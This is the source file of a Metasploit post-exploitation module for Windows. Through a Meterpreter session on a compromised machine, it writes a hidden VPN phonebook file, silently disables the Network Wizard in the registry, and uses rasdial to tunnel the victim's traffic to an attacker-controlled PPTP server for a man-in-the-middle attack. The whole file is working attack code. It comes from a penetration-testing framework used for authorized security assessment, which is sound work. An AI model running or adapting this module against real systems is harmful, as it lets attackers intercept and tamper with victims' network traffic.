modules/post/windows/manage/pptp_tunnel.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Remote Point-to-Point Tunneling Protocol',
'Description' => %q{
This module initiates a PPTP connection to a remote machine (VPN server). Once
the tunnel is created we can use it to force the victim traffic to go through the
server getting a man in the middle attack. Be sure to allow forwarding and
masquerading on the VPN server (mitm).
},
'License' => MSF_LICENSE,
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
'References' => [
[ 'URL', 'https://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ]
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
OptString.new('USERNAME', [true, 'VPN Username.' ]),
OptString.new('PASSWORD', [true, 'VPN Password.' ]),
OptBool.new('MITM', [true, 'Man in the middle.', true]),
OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]),
OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']),
OptAddress.new('VPNHOST', [true, 'VPN server.'])
]
)
end
def run
version = get_version_info
disable_network_wizard if version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win7_SP1)
pbk = create_pbk(datastore['MITM'], datastore['PBK_NAME'])
to = (datastore['TIMEOUT'] <= 0) ? 60 : datastore['TIMEOUT']
begin
::Timeout.timeout(to) do
run_rasdial(pbk, datastore['USERNAME'], datastore['PASSWORD'], datastore['VPNHOST'], datastore['PBK_NAME'])
end
rescue ::Timeout::Error
print_error("Timeout after #{to} seconds")
end
file_rm(pbk)
print_status('Phonebook deleted')
end
def disable_network_wizard
if !is_admin?
print_error("You don't have enough privileges to change the registry. Network Wizard will not be disabled")
return
end
key = 'HKLM\\System\\CurrentControlSet\\Control\\Network'
value = 'NewNetworkWindowOff'
begin
if !registry_getvaldata(key, value)
registry_setvaldata(key, value, 3, 'REG_BINARY')
print_good('Network Wizard disabled')
end
rescue ::Exception => e
print_status("The fo llowing Error was encountered: #{e.class} #{e}")
end
end
def create_pbk(mim, pbk_name)
pbk_dir = expand_path('%TEMP%')
pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha(rand(6..13)) << '.pbk'
conf_conn = "[#{pbk_name}]\r\n\r\n"
conf_conn += "MEDIA=rastapi\r\n"
conf_conn += "Port=VPN4-0\r\n"
conf_conn += "DEVICE=vpn\r\n"
conf_conn += "IpPrioritizeRemote=0\r\n" unless mim
if write_file(pbk_file, conf_conn)
print_good("PhoneBook configuration written to #{pbk_file}")
return pbk_file
end
end
def run_rasdial(pbk, user, pass, vpn_host, pbk_name)
print_status('Establishing connection ...')
cmd_exec('rasdial', '/disconnect')
output_run = cmd_exec('rasdial', "#{pbk_name} #{user} #{pass} /PHONE:#{vpn_host} /PHONEBOOK:#{pbk}")
output_view = cmd_exec('rasdial', nil)
if output_view =~ /#{pbk_name}/i
print_good('Connection Successful')
else
print_error("Connection failure: #{output_run}")
end
end
end